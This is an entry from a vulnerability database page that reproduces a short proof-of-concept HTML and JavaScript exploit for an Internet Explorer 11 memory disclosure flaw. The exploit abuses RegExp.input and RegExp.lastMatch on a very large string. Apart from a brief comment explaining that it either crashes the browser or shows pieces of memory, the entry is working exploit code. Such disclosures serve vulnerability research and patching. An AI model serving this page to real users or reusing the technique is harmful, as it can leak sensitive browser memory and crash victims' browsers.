Internet Explorer – ‘RegExp.lastMatch’ Memory Disclosure | ZeroBox Vulnerability Database

Internet Explorer – ‘RegExp.lastMatch’ Memory Disclosure

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/*
There is a vulnerability in Internet Explorer that could potentially be used for memory disclosure.
This was tested on IE11 running on Window 7 64-bit with the latest patches applied.
PoC:
=========================================
*/
<!-- saved from url=(0014)about:internet -->
<script>
function main() {
  RegExp.input = {toString: f};
  alert(RegExp.lastMatch);
}
var input = [Array(10000000).join("a"), Array(11).join("b"), Array(100).join("a")].join("");
function f() {
  String.prototype.match.call(input, "bbbbbbbbbb");
}
main();
</script>
/*
=========================================
Note that sometimes the PoC results in a crash (I made no attempt to make it reliable) while sometimes it results in pieces of memory being displayed
*/